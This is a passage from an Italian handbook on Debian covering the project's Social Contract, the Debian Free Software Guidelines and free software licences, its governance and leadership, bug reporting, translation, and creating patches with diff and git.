→ https://www.spi-inc.org/

Oltre a SPI, varie associazioni locali collaborano da vicino con Debian al fine di raccogliere fondi per Debian, senza centralizzare tutto negli Stati Uniti: sono conosciute come "Trusted Organizations" in gergo Debian. Questa impostazione consente di evitare i proibitivi costi di trasferimento internazionale, e ben si adatta alla natura decentralizzata del progetto.

Non esitate ad unirvi alla vostra associazione locale e sostenere il progetto!

→ https://wiki.debian.org/Teams/Treasurer/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. I Documenti Fondanti

Alcuni anni dopo l'inizio del progetto, Debian ha formalizzato i principi che dovrebbe seguire in quanto progetto di software libero. Questa decisione deliberatamente attivista permette la crescita ordinata e pacifica, assicurando che tutti i membri vadano nella stessa direzione. Per diventare uno sviluppatore Debian, ogni candidato deve confermare e dimostrare il proprio sostegno e l'adesione ai principi stabiliti nei Documenti della Fondazione del progetto.

Il processo di sviluppo è costantemente dibattuto, ma i principi riportati nei Documenti della Fondazione sono ampiamente supportati e condivisi quindi raramente vengono cambiati. Lo statuto di Debian offre anche garanzie per la loro stabilità: è necessaria una maggioranza qualificata di tre quarti per approvare qualsiasi emendamento.

1.2.1. L'Impegno nei confronti degli Utenti

Il progetto ha anche un "contratto sociale". Che senso ha tale testo in un progetto destinato esclusivamente per lo sviluppo di un sistema operativo? È abbastanza semplice: Debian lavora per i propri utenti e quindi, per estensione, per la società. Questo contratto riassume gli impegni che il progetto si assume. Vediamoli in dettaglio:

Debian rimarrà libera al 100%.

Questa è la Regola n° 1. Debian è e rimarrà composta interamente ed esclusivamente da software libero. Inoltre, tutto lo sviluppo software all'interno del progetto Debian sarà, a sua volta, libero.

IN PROSPETTIVA Al di là del software

Nella prima versione del Contratto Sociale Debian era riportato: "Debian resterà al 100% Software libero". La scomparsa della parola "Software" (con la ratifica della versione 1.1 del documento nel mese di aprile del 2004) indica la volontà di raggiungere la libertà, non solo del software, ma anche della documentazione e di ogni altro elemento che Debian intende fornire all'interno del proprio sistema operativo.

Questa modifica, che è stata concepita solo come redazionale, ha, in realtà, avuto numerose conseguenze, in particolare con la rimozione di alcuni documenti problematici. Inoltre, il crescente impiego di firmware nei driver pone dei problemi: spesso sono non liberi, tuttavia sono necessari per il corretto funzionamento dell'hardware corrispondente.

Renderemo alla comunità del software libero.

Qualsiasi miglioramento apportato ad un'opera dal progetto Debian durante l'integrazione nella distribuzione viene inoltrato all'autore dell'opera (definito "upstream"). In generale, Debian collabora con la comunità piuttosto che lavorare in isolamento.

COMUNITÀ Autore upstream (autore a monte), o sviluppatore Debian?

Il termine "autore upstream" indica l'autore/sviluppatore di un'opera; chi la scrive o sviluppa. D'altra parte, uno "sviluppatore Debian" solitamente usa un lavoro esistente per crearne un pacchetto Debian - qui, sarebbe più corretto utilizzare il termine "Debian maintainer" (manutentore Debian).

In pratica, ci possono essere sovrapposizioni tra i ruoli. Il manutentore Debian può scrivere una patch, a vantaggio di tutti gli utenti. In generale, Debian incoraggia gli incaricati della realizzazione del pacchetto ad essere coinvolti nello sviluppo "upstream" (iniziale) del programma (diventando, quindi, collaboratori, senza limitarsi al ruolo di semplici utenti di un programma). Oppure lo sviluppatore Debian crea strumenti o documentazione per la distribuzione Debian, come gli aiutanti di pacchettizzazione (ad esempio debhelper) o i framework di integrazione (ad esempio ca-certificates) e diventa un "autore upstream" per queste creazioni.

Non nasconderemo i problemi.

Debian non è perfetta, e ci saranno nuovi problemi da risolvere ogni giorno. Debian manterrà il suo intero database di segnalazione aperto per la visualizzazione pubblica in ogni momento. Le segnalazioni inserite on-line dagli utenti saranno prontamente visibili a tutti.

Le nostre priorità sono gli utenti ed il software libero.

Questo impegno è più difficile da definire. Debian impone, perciò, di scegliere una soluzione più elegante, anche se più difficile da implementare, piuttosto che una soluzione semplice per gli sviluppatori che metterebbe a repentaglio l'esperienza utente. Ciò significa tener conto, prima di tutto, degli interessi di utenti e del software libero.

Opere che non rispettano i nostri standard di software libero.

Debian accetta e capisce che gli utenti a volte desiderano utilizzare alcuni programmi non liberi. Ecco perché il progetto consente l'utilizzo di parti della propria infrastruttura per distribuire pacchetti Debian di software non libero che possono però essere ridistribuiti in modo sicuro.

COMUNITÀ Pro o contro la sezione non-free?

L'impegno di mantenere una struttura contenente software non libero (es. la sezione “non-free”, vedi il riquadro VOCABOLARIO Gli archivi main, contrib e non-free) è spesso oggetto di discussione all'interno della comunità Debian.

I detrattori, sostengono che allontana le persone dai software liberi equivalenti e contraddice il principio di servire solo la causa del software libero. I sostenitori, invece, affermano che la maggior parte dei pacchetti non-free sono "quasi liberi", in quanto mantengono per lo più solo poche limitazioni (la più comune delle quali è il divieto di utilizzo in ambito commerciale). Distribuendo queste opere nel ramo non-free, si cerca indirettamente di spiegare agli autori che le loro creazioni sarebbero maggiormente utilizzate e conosciute, se potessero essere incluse nella sezione main. Pertanto, sono invitati a modificare la loro licenza per raggiungere questo scopo.

Dopo un primo ed infruttuoso tentativo nel 2004, la rimozione completa della sezione del software non-free è improbabile che ritorni in agenda, soprattutto perché vi sono contenuti molti documenti utili che sono stati spostati semplicemente perché non soddisfano completamente i nuovi requisiti richiesti per la sezione main. Questo vale in particolare per alcuni file di documentazione di software prodotti dal progetto GNU (in particolare, Emacs e Make). Molti sistemi moderni richiedono inoltre il cosiddetto "firmware", piccoli file binari necessari per far funzionare un hardware specifico. Molti di questi file si trovano solo nella sezione non-free.

Il mantenimento della sezione non-free è occasionalmente fonte di attrito con la Free Software Foundation, ed è la ragione principale per la quale la stessa si rifiuta di raccomandare ufficialmente Debian come sistema operativo.

1.2.2. Le Linee Guida Debian per il Software Libero

Questo documento di riferimento definisce le specifiche richieste da un software per essere "abbastanza libero" da poter essere incluso in Debian. Se la licenza di un programma rispetta tali principi, esso può essere incluso nella sezione main; al contrario, ed a condizione che ne sia consentita la libera distribuzione, può essere aggiunto alla sezione non-free. La sezione non-free non fa ufficialmente parte di Debian; è un servizio aggiunto disponibile per gli utenti. Una spiegazione in dettaglio delle diverse parti dell'archivio di Debian può essere trovata nella barra laterale VOCABOLARIO Gli archivi main, contrib e non-free.

Più che definire i criteri di selezione per Debian, questo testo è diventato un testo fondamentale del software libero, ed è servito come base per la "Definizione di Open Source" (sorgente aperto). Storicamente, è stato dunque una delle prime formalizzazioni del concetto di "software libero".

La GNU General Public License, la BSD License e la Artistic License sono esempi di licenze libere tradizionali che seguono i 9 punti menzionati in questo testo. Di seguito troverete il testo così come è pubblicato sul sito web di Debian.

→ https://www.debian.org/social_contract.html#guidelines

Libera ridistribuzione.  La licenza di un componente Debian non può porre restrizioni a nessuno per la vendita o la cessione del software come componente di una distribuzione software aggregata contenente programmi provenienti da fonti diverse. La licenza non può richiedere royalty o altri pagamenti per la vendita.

Codice sorgente.  Il programma deve includere il codice sorgente e deve permettere la distribuzione sia come codice sorgente che in forma compilata.

Lavori derivati.  La licenza deve permettere modifiche e lavori derivati e deve permettere la loro distribuzione con gli stessi termini di licenza del software originale.

Integrità del codice sorgente dell'autore.  La licenza può porre restrizioni alla distribuzione di codice sorgente modificato solo se permette la distribuzione di "file patch" insieme al codice sorgente con lo scopo di modificare il programma durante la compilazione. La licenza deve esplicitamente permettere la distribuzione di software compilato con codice sorgente modificato. La licenza può richiedere che i lavori derivati abbiano un nome o un numero di versione diversi da quelli del software originale (Questo è un compromesso. Il gruppo Debian invita tutti gli autori a non impedire che file, sorgenti o binari, possano essere modificati).

Nessuna discriminazione di persone o gruppi.  La licenza non può discriminare nessuna persona o gruppo di persone.

Nessuna discriminazione nei campi di impiego.  La licenza non può porre restrizioni all'utilizzo del programma in uno specifico campo di impiego. Per esempio, non può porre restrizioni all'uso commerciale o nella ricerca genetica.

Distribuzione della licenza.  I diritti applicati al programma devono essere applicabili a chiunque riceva il programma senza il bisogno di utilizzare licenze addizionali di terze parti.

La licenza non può essere specifica per Debian.  I diritti applicati al programma non possono dipendere dal fatto che esso sia parte di un sistema Debian. Se il programma è estratto da Debian e usato o distribuito senza Debian ma ottemperando ai termini della licenza, tutte le parti alle quali il programma è ridistribuito dovrebbero avere gli stessi diritti di coloro che lo ricevono con il sistema Debian.

La licenza non deve contaminare altro software.  La licenza non può porre restrizioni ad altro software che sia distribuito insieme al software concesso in licenza. Per esempio, la licenza non può richiedere che tutti gli altri programmi distribuiti con lo stesso supporto debbano essere software libero.

FONDAMENTALE Copyleft

Il copyleft è un principio che consiste nell'utilizzare i diritti d'autore per garantire la libertà di un prodotto e dei suoi derivati, piuttosto che limitarne i diritti di utilizzo, come avviene con il software proprietario. È anche un gioco di parole sul termine "copyright". Richard Stallman ebbe l'idea quando un suo amico, appassionato di giochi di parole, scrisse su una busta a lui indirizzata: "copyleft: all rights reversed" (copyleft: tutti i diritti invertiti). Il copyleft impone la conservazione di tutte le libertà iniziali dal momento della distribuzione di una versione originale o modificata di un lavoro (di solito un programma). È, dunque, impossibile distribuire un programma come software proprietario se derivato dal codice di un programma rilasciato come copyleft.

La licenza copyleft più conosciuta è, naturalmente, la GNU General Public License (GPL) con le sue derivate, la GNU Lesser General Public License (LGPL) e la GNU Free Documentation License (GFDL). Purtroppo, le licenze copyleft sono generalmente incompatibili tra loro. Di conseguenza, è meglio utilizzarne una sola per volta.

Esempi di licenze.  The “GPL”, “BSD”, e “Artistic” sono esempi di licenze che consideriamo "libere".

FONDAMENTALE Licenze libere

La GNU GPL, la licenza BSD e la Artistic License, anche se molto diverse sono tutte conformi alle Linee guida Debian per il software libero (Debian Free Software Guidelines - DFSG).

La GNU GPL, utilizzata e promossa dalla FSF (Free Software Foundation), è la più comune. La sua caratteristica principale è che essa si applica anche a qualsiasi opera derivata che viene ridistribuita: un programma che incorpora o utilizza codice GPL può essere distribuito solo negli stessi termini. Se ne vieta, pertanto, qualsiasi riutilizzo in una applicazione proprietaria. Questo pone seri problemi per il riuso di codice GPL in software libero incompatibile con questa licenza. Di conseguenza, a volte è impossibile collegare un programma pubblicato sotto un'altra licenza per software libero con una libreria distribuita sotto GPL. D'altra parte, questa licenza è molto solida nel diritto americano: gli avvocati della FSF hanno partecipato alla stesura della stessa, e hanno spesso costretto i trasgressori a raggiungere un accordo amichevole con la FSF senza ricorrere al giudice.

→ https://www.gnu.org/copyleft/gpl.html

La licenza BSD è la meno restrittiva: è permesso praticamente tutto, compreso l'uso di codice BSD modificato in un'applicazione proprietaria.

→ https://www.opensource.org/licenses/bsd-license.php

Infine, la Artistic License consiste in un compromesso fra le altre due: l'integrazione di codice in una applicazione proprietaria è consentita, ma ogni modifica deve essere resa pubblica.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

Il testo completo di queste licenze è disponibile in ogni sistema Debian nella directory /usr/share/common-licenses/ (nel caso di BSD la più recente licenza 3-Clause).

COMUNITÀ Bruce Perens, un leader controverso

Bruce Perens fu il secondo leader del progetto Debian che successe a Ian Murdock. Fu una figura molto controversa, per le sue dinamiche e per i suoi metodi autoritari. Rimane comunque molto importante il suo contributo a Debian, per la redazione delle famose linee guida "Debian Free Software Guidelines" (DFSG), da uno spunto originale di Ean Schuessler. Successivamente, Bruce, avrebbe tratto da questo documento la famosa "Open Source Definition" (definizione dell'Open Source), rimuovendone tutti i riferimenti a Debian.

→ https://opensource.org/

La sua uscita del progetto è stata alquanto burrascosa, ma Bruce è rimasto fortemente legato a Debian, visto che continua a promuovere la distribuzione in ambito politico ed economico. Appare ancora sporadicamente sulle mailing list per dare la sua consulenza e presentare le sue ultime iniziative in favore di Debian.

Un ultimo aneddoto, Bruce è stato l'ispiratore della scelta iniziale dei diversi "nomi in codice" assegnati alle versioni di Debian (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 — Bullseye, 12 (not released yet) — Bookworm, Unstable — Sid). Sono presi tutti dai personaggi del film Toy Story. Questo film d'animazione interamente realizzato al computer è stato prodotto da Pixar Studios, dove Bruce lavorava al momento in cui guidava il progetto Debian. Il nome "Sid" ha un ruolo particolare, in quanto sarà sempre associato al ramo Unstable (instabile). Nel film, questo personaggio era il bambino vicino di casa che rompeva sempre i giocattoli — quindi attenzione ad avvicinarsi troppo a Unstable. Inoltre, Sid è anche un acronimo di "Still In Development" (ancora in sviluppo).

1.3. Il funzionamento interno del Progetto Debian

I grandi risultati prodotti dal progetto Debian sono dovuti contemporaneamente al lavoro svolto sull'infrastruttura dagli esperti sviluppatori di Debian, dal lavoro individuale o collettivo degli sviluppatori sui pacchetti Debian, e dalle opinioni degli utenti.

1.3.1. Gli Sviluppatori Debian

Gli sviluppatori Debian hanno responsabilità diverse e, come membri ufficiali del progetto, hanno una grande influenza sul percorso che esso intraprende. Uno sviluppatore Debian è generalmente responsabile di almeno un pacchetto, ma in base ai propri desideri ed al tempo a disposizione, è libero di essere coinvolto in numerosi team e progetti, acquisendo in tal modo più responsabilità all'interno del progetto.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

STRUMENTODatabase degli sviluppatori

Debian dispone di un database che raccoglie tutti gli sviluppatori registrati nel progetto, comprensivo delle informazioni che li riguardano (indirizzo, telefono, coordinate geografiche come longitudine e latitudine, ecc.). Alcune informazioni (nome e cognome, Paese, nome utente nel progetto, nome utente IRC, chiave GnuPG, ecc.) sono pubbliche e disponibili sul Web.

→ https://db.debian.org/

Le coordinate geografiche permettono la creazione di una mappa che visualizza la distribuzione degli sviluppatori in giro per il mondo. Debian è realmente un progetto internazionale: suoi sviluppatori possono essere trovati in tutti i continenti, anche se la maggior parte è posizionata nel "mondo Occidentale".

Figura 1.1. Distribuzione a livello mondiale degli sviluppatori Debian

La manutenzione dei pacchetti è un'attività molto documentata e regolamentata. Devono, infatti, essere rispettate tutte le norme stabilite dalla Debian Policy. Fortunatamente, sono disponibili molti strumenti che agevolano il lavoro dei manutentori. Lo sviluppatore può quindi concentrarsi sulle specifiche del proprio pacchetto e su compiti più complessi, come la correzione degli errori.

→ https://www.debian.org/doc/debian-policy/

FONDAMENTALE Manutenzione dei pacchetti, il lavoro degli sviluppatori

La manutenzione di un pacchetto comporta, in primo luogo, "impacchettare" un software. In particolare, questo significa definire le modalità di installazione in modo tale che, una volta installato, questo software funzioni correttamente rispettando tutte le regole imposte dal progetto Debian. Il risultato di questa operazione viene salvato in un file .deb. L'effettiva installazione del programma non dovrà richiedere altro che l'estrazione dei file compressi e l'esecuzione di alcuni script pre-installazione o post-installazione in esso contenuti.

Dopo questa fase iniziale, comincia realmente il ciclo di manutenzione: preparazione degli aggiornamenti rispettando l'ultima versione della Debian Policy, correzione degli errori segnalati dagli utenti e l'inclusione di eventuali nuove versioni "upstream" (lett. "a monte") che naturalmente continueranno ad essere sviluppate contemporaneamente. Ad esempio, al momento della creazione iniziale del pacchetto, il programma è alla versione 1.2.3. Dopo alcuni mesi di sviluppo, gli autori originali rilasciano una nuova versione stabile, numerata 1.4.0. A questo punto, il manutentore Debian dovrebbe aggiornare il pacchetto, in modo che tale gli utenti possano beneficiare dell'ultima versione stabile.

Le Policy, un elemento essenziale del progetto Debian, stabiliscono le norme che garantiscono la qualità dei pacchetti e la loro perfetta interoperabilità con il resto della distribuzione. Grazie a queste politiche, Debian rimane coerente nonostante le sue dimensioni gigantesche. Queste Policy non sono scritte sulla pietra, ma sono in continua evoluzione grazie alle proposte formulate sulla mailing list <debian-policy@lists.debian.org>. Gli emendamenti che sono stati approvati da tutti sono accettati e applicati al testo da un piccolo gruppo di manutentori che non hanno responsabilità editoriale (loro includono solamente le modifiche concordate dagli sviluppatori Debian che sono membri della suddetta lista). È possibile consultare le attuali proposte di modifica sul sistema di tracciamento dei bug:

→ https://bugs.debian.org/debian-policy

COMUNITÀ Policy: procedura editoriale

Chiunque può proporre modifiche alla Policy di Debian inserendo la segnalazione di un bug con livello di gravità "wishlist" relativo al pacchetto debian-policy. Il processo che si avvia è documentato su https://www.debian.org/doc/debian-policy/ap-process.html: se viene considerato un problema da risolvere tramite la creazione di una nuova regola nella Policy di Debian, inizia la relativa discussione nella mailing list <debian-policy@lists.debian.org> fino a quando non si raggiunge l'accordo per una proposta. Qualcuno elabora quindi la modifica decisa e la sottopone per l'approvazione (sotto forma di patch da revisionare). Appena altri due sviluppatori confermano che la modifica proposta riflette l'accordo raggiunto nella precedente discussione (la "appoggiano"), la proposta può essere inclusa nel documento ufficiale da uno dei manutentori del pacchetto debian-policy. Se il processo non supera uno di questi passaggi, i manutentori chiudono il bug, classificando la proposta come respinta.

DEBIAN POLICY La documentazione

La documentazione di ogni pacchetto è memorizzata nella directory /usr/share/doc/pacchetto/. Questa directory spesso contiene un file README.Debian nel quale sono descritte le modifiche specifiche per Debian apportate dal manutentore del pacchetto. È, quindi, consigliabile leggere questo file prima di ogni modifica alla configurazione del pacchetto al fine di beneficiare della sua esperienza. È presente anche il file changelog.Debian.gz che descrive le modifiche fatte da una versione all'altra dal manutentore Debian. Non deve essere confuso con il file changelog.gz (o simile), che descrive le modifiche apportate dagli sviluppatori originali. Il file copyright include informazioni relative agli autori ed al tipo di licenza che copre il software. Infine, è anche possibile trovare un file chiamato NEWS.Debian.gz, che è utilizzato dallo sviluppatore Debian per comunicare informazioni importanti sugli aggiornamenti; se viene utilizzato apt-listchanges, questi messaggi vengono visualizzati automaticamente. Tutti gli altri file sono specifici del software in questione. In modo particolare notare la sottodirectory examples che spesso contiene esempi di file di configurazione.

Le Policy coprono molto bene gli aspetti tecnici della creazione dei pacchetti. La dimensione del progetto solleva anche problemi organizzativi; questi vengono trattati dalla Costituzione Debian, che stabilisce la struttura ed i mezzi per il processo decisionale. In altre parole, un sistema formale di governance.

La costituzione definisce un certo numero di ruoli e posizioni, compreso le responsabilità e le autorità di ognuno. È particolarmente interessante notare che gli sviluppatori Debian dispongono sempre dell'autorità per la decisione finale, potendo votare le risoluzioni generali, in cui per apportare modifiche significative (come quelle che riguardano i documenti fondanti) è necessaria una maggioranza qualificata dei tre quarti (75%) dei voti. Tuttavia, gli sviluppatori annualmente eleggono un "leader" per rappresentarli nelle riunioni, e garantire il coordinamento interno tra i diversi team. Questa elezione è sempre preceduta da un periodo di intense discussioni. Il ruolo del Leader del Progetto Debian (Debian Project Leader DPL) non è definito formalmente da alcun documento: i candidati a questo ruolo di solito propongono la propria definizione della posizione. In pratica, i ruoli del leader comprendono quello di mantenere i rapporti con i media, il coordinamento "interno" fra i vari team e l'assegnare un orientamento generale al progetto in cui gli sviluppatori possano riconoscersi: il punto di vista del DPL è implicitamente approvato dalla maggioranza dei membri del progetto.

In particolare, i leader hanno un potere reale: i loro voti risolvono le votazioni in pareggio, loro possono prendere ogni decisione che non sia già assegnata ad un'altra autorità e possono delegare parte delle proprie responsabilità.

Dalla sua nascita, il progetto è stato guidato nell'ordine da Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Neill McGovern, Mehdi Dogguy, Chris Lamb, Sam Hartman e Jonathan Carter.

La costituzione definisce anche il "comitato tecnico". Il principale ruolo di questo comitato è quello di derimere dispute in materia tecnica quando gli sviluppatori interessati non hanno raggiunto un accordo tra di loro. Oltre a ciò, questo comitato svolge un ruolo consultivo per qualsiasi sviluppatore che non riesce a prendere una decisione di cui è responsabile. È importante notare che, per essere coinvolto, deve essere comunque interpellato da una delle parti in questione.

Infine, la costituzione definisce la posizione del "segretario del progetto", che si occupa dell'organizzazione delle votazioni relative alle varie elezioni e risoluzioni generali.

La procedura “risoluzione generale” (GR) è completamente dettagliata nella costituzione, dall'inizio della discussione fino al conteggio finale dei voti. L'aspetto maggiormente interessante di questo processo è quando si arriva alla votazione vera e propria: gli sviluppatori devono mettere in ordine le diverse opzioni di voto e il vincitore è scelto attraverso il Metodo Condorcet (più specificamente il metodo Schulze). Per maggiori dettagli leggere:

→ https://www.debian.org/devel/constitution

CULTURA Flamewar, discussione che prende fuoco

Una "flamewar" è un dibattito estremamente appassionato, che si conclude spesso con persone che si attaccano a vicenda una volta che entrambe le parti esauriscono tutte le argomentazioni valide. Alcuni temi sono più frequentemente oggetto di polemiche rispetto ad altri (ad esempio la scelta dell'editor di testo, "Preferisci vi o emacs?", è una vecchia conoscenza). Le questioni provocano spesso scambi di e-mail molto rapidi, semplicemente a causa del numero di persone che hanno un'opinione sull'argomento (tutti) e la natura molto personale di tali questioni.

In genere questo tipo di discussioni non portano a niente di particolarmente utile; la raccomandazione generale è di tenersi fuori da questi dibattiti, e sfogliare rapidamente il loro contenuto, poiché la loro lettura completa sarebbe un inutile dispendio di tempo.

Anche se questa costituzione istituisce una parvenza di democrazia, la realtà quotidiana è ben diversa: Debian segue naturalmente le regole del software libero e della do-ocracy (democrazia del fare): decide colui che fa. Può essere sprecato un sacco di tempo dibattendo sui rispettivi meriti dei vari metodi per affrontare un problema; la soluzione scelta sarà la prima che è sia funzionale che soddisfacente... onorando il tempo che una persona competente vi ha dedicato.

Questo è l'unico modo per guadagnarsi i galloni: fare qualcosa di utile e dimostrare di aver lavorato bene. Molti gruppi "amministrativi" di Debian operano per designazione, preferendo i volontari che hanno già contribuito efficacemente e dimostrato la loro competenza. La natura pubblica del lavoro di questi gruppi rende possibile ai nuovi collaboratori di osservare e iniziare ad aiutare senza avere nessun privilegio speciale. Questo è il motivo per cui Debian è descritta come una "meritocrazia".

CULTURA Meritocrazia, il regno della conoscenza

La meritocrazia è una forma di governo nella quale l'autorità è esercitata da coloro ai quali sono riconosciuti i maggiori meriti. Per Debian, il merito è la misura della competenza, che è essa stessa valutata attraverso l'osservazione delle attività svolte, all'interno del progetto (Stefano Zacchiroli, un ex leader del progetto, parla di "do-cracy", che significa "potere di coloro che fanno le cose"). La loro stessa esistenza dimostra un certo livello di competenza, poiché i loro risultati sono generalmente rappresentati da software libero, con codice sorgente disponibile, che può essere facilmente valutabile da parte dei colleghi per verificarne la qualità.

Questa efficace modalità operativa garantisce la qualità dei contributi forniti dai team Debian "chiave". Questo non è un metodo perfetto e di tanto in tanto qualcuno non accetta questo modo di operare. La scelta degli sviluppatori accolti nei team può apparire un po' arbitraria, o addirittura sleale. Inoltre, non tutti hanno la stessa idea sul servizio richiesto a questi team. Per alcuni, è inaccettabile dover aspettare otto giorni per l'inclusione di un nuovo pacchetto Debian, mentre altri aspettano pazientemente senza problemi anche per tre settimane. Di conseguenza capita spesso ci siano lamentele dagli scontenti sulla "qualità del servizio" di alcuni team.

COMUNITÀ Integrazione di nuovi manutentori

Il team responsabile dell'ammissione dei nuovi sviluppatori è quello regolarmente più criticato. Bisogna sapere che, nel corso degli anni, il progetto Debian è diventato sempre più esigente riguardo agli sviluppatori che accetta. Alcune persone possono ritenere che questa sia un'ingiustizia, ma dobbiamo confessare che quelle che inizialmente erano solo piccole sfide personali sono diventate una cosa molto più grande in una comunità di oltre 1.000 persone, che deve garantire la qualità e l'integrità di tutto ciò che Debian produce per i suoi utenti.

Inoltre, la procedura di accettazione si conclude con l'esame della candidatura da parte di un piccolo gruppo, i Debian Account Manager. Questi dirigenti sono, quindi, particolarmente esposti alle critiche, in quanto hanno l'ultima parola sull'inclusione o il rifiuto di un volontario all'interno della comunità degli sviluppatori Debian. In pratica, a volte si deve ritardare l'accettazione di una persona finché non avrà approfondito maggiormente il funzionamento del progetto. Si può, naturalmente, contribuire a Debian, anche prima di essere accettati come uno sviluppatore ufficiali, essendo sponsorizzati dagli sviluppatori attuali.

1.3.2. Il ruolo attivo degli utenti

Ci si potrebbe chiedere se sia rilevante citare gli utenti tra coloro che lavorano all'interno del progetto Debian e la risposta è, definitivamente, si: svolgono un ruolo fondamentale nel progetto. Lungi dall'essere "passivi", alcuni dei nostri utenti utilizzano versioni di Debian in fase di sviluppo inviando, regolarmente, segnalazioni di bug per notificare dei problemi. Altri vanno anche oltre e propongono idee e miglioramenti, presentando una segnalazione con un livello di gravità "wishlist" (lista dei desideri) o inoltrando correzioni al codice sorgente, dette "patch" (vedi Sezione 1.3.2.3, «Invio di correzioni»).

1.3.2.1. Segnalazione di bug

Lo strumento fondamentale, utilizzato da gran parte del progetto, per l'invio di bug è il Sistema di Tracciamento dei Bug di Debian (Debian BTS). La parte pubblica (l'interfaccia web) consente agli utenti di visualizzare tutti i bug segnalati, con l'opzione per visualizzare un elenco ordinato di bug selezionati in base a vari criteri, come: pacchetto che ne è affetto, gravità, stato, indirizzo del segnalatore, indirizzo del manutentore incaricato, tag, ecc. È anche possibile consultare l'elenco storico completo di tutte le discussioni riguardanti ciascun bug.

In realtà, il BTS Debian è basato su e-mail: tutte le informazioni che memorizza derivano dai messaggi inviati dalle varie persone coinvolte. Ogni e-mail inviata a <12345@bugs.debian.org> sarà assegnata alla cronologia del bug numero 12345. Le persone autorizzate possono "chiudere" un bug scrivendo un messaggio che descrive i motivi della decisione di chiusura a <12345-done@bugs.debian.org> (un bug viene chiuso quando il problema indicato è risolto o non è più rilevante). Un nuovo bug viene segnalato inviando una e-mail a <submit@bugs.debian.org> secondo un formato specifico che identifica il pacchetto in questione. L'indirizzo <control@bugs.debian.org> permette la modifica di tutte le "meta-informazioni" relative a un bug.

Il Debian BTS ha altre caratteristiche funzionali, come ad esempio l'uso di tag per l'etichettatura dei bug. Per maggiori informazioni, vedere

→ https://www.debian.org/Bugs/

VOCABOLARIO La gravità di un bug

La gravità di un bug assegna formalmente il grado di importanza del problema indicato. In realtà, non tutti i bug hanno la stessa importanza, per esempio, un errore di battitura in una pagina di manuale non è paragonabile a una vulnerabilità di sicurezza nel software per un server.

Debian usa una scala di gravità estesa ad indicare con precisione l'importanza di un bug. Ogni livello è definito proprio per facilitarne l'identificazione.

→ https://www.debian.org/Bugs/Developer#severities

Gli utenti possono anche utilizzare lo strumento da riga di comando reportbug. Esso aiuta a verificare che il bug in questione non sia già stato segnalato, impedendone la duplicazione nel sistema. Ricorda all'utente di definire il livello di gravità, in modo che la segnalazione sia il più accurata possibile (lo sviluppatore può perfezionare questi parametri in seguito, se necessario). Aiuta anche a scrivere una segnalazione completa del bug senza che l'utente debba conoscerne la sintassi precisa, consentendogli poi di modificarla. Questa segnalazione sarà quindi inviata attraverso un server di posta elettronica (per impostazione predefinita, un server remoto gestito da Debian, ma reportbug può utilizzare anche un server locale).

Questo strumento si rivolge prevalentemente alle versioni di sviluppo, dove i bug verranno risolti. In effetti, i cambiamenti non sono benvenuti in una versione stabile di Debian, con la sola eccezione degli aggiornamenti di sicurezza oppure altri importanti aggiornamenti (se, per esempio, un pacchetto non funziona affatto). La correzione di un bug minore in un pacchetto Debian, aspetterà, perciò, il rilascio della successiva versione stabile.

1.3.2.2. Traduzione e documentazione

Inoltre, i numerosi utenti soddisfatti del servizio offerto da Debian sono interessati a dare un proprio contributo al progetto. Poiché non tutti hanno adeguati livelli di competenza nella programmazione, possono scegliere di aiutare con la traduzione e la revisione della documentazione. Ci sono mailing list specifiche per varie lingue che coordinano questo lavoro.

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

FONDAMENTALE Cosa sono i18n e l10n?

"i18n" e "l10n" solo le abbreviazioni delle parole "internationalization" (internazionalizzazione) e "localization" (localizzazione), ottenute rispettivamente, mantenendo la prima e l'ultima lettera di ogni parola e il numero di lettere nel mezzo.

La "internazionalizzazione" di un programma consiste nel modificarlo in modo tale da poterlo tradurre (localizzarlo). Questo comporta una parziale riscrittura del programma scritto per lavorare in una sola lingua in modo tale da poterlo aprire a tutte le altre lingue.

La "localizzazione" di un programma consiste nel tradurre i messaggi originali (solitamente in inglese) in un'altra lingua. Per questo, deve essere già stato precedentemente internazionalizzato.

In sintesi, l'internazionalizzazione prepara il software per la traduzione, che viene poi realizzata con la localizzazione.

1.3.2.3. Invio di correzioni

Gli utenti più avanzati potrebbero essere in grado di fornire una correzione ad un programma inviando una patch.

Una patch è un file che descrive le modifiche da apportare ad uno o più file di riferimento. In particolare, conterrà la lista delle righe da rimuovere o aggiungere al codice, e (talvolta) le righe ricavate dal testo di riferimento, per applicare le modifiche nel contesto (permettono l'identificazione della posizione delle modifiche se i numeri di riga dovessero essere cambiati).

Lo strumento utilizzato per applicare le modifiche scritte in questo tipo di file si chiama semplicemente patch. Lo strumento che le crea è chiamato diff, e si utilizza in questo modo:

$ diff -u file.vecchio file.nuovo >file.patch

Il file file.patch contiene le istruzioni per modificare il contenuto del file file.vecchio trasformandolo nel file.nuovo. Possiamo inviarlo a qualcuno, che lo può quindi utilizzare per ricreare file.nuovo dagli altri due, in questo modo:

$ patch -p0 file.vecchio <file.patch

Il file, file.vecchio, è ora identico a file.nuovo.

In pratica, la maggior parte del software è attualmente mantenuta nei repository Git ed i collaboratori sono quindi più propensi ad usare git per recuperare il codice sorgente e proporre modifiche. git diff genererà un file nello stesso formato di quello che diff -u farebbe e git apply può fare lo stesso di patch.

CULTURA Git

Git è uno strumento collaborativo che permette di lavorare su più file, permettendo la gestione dello storico delle modifiche. I file in questione sono generalmente file di testo, tipo i sorgenti di un programma. Se più persone lavorano contemporaneamente sullo stesso file, git può unire le modifiche apportate solo se sono state fatte a porzioni diverse del file. Altrimenti questi "conflitti" devono essere risolti a mano.

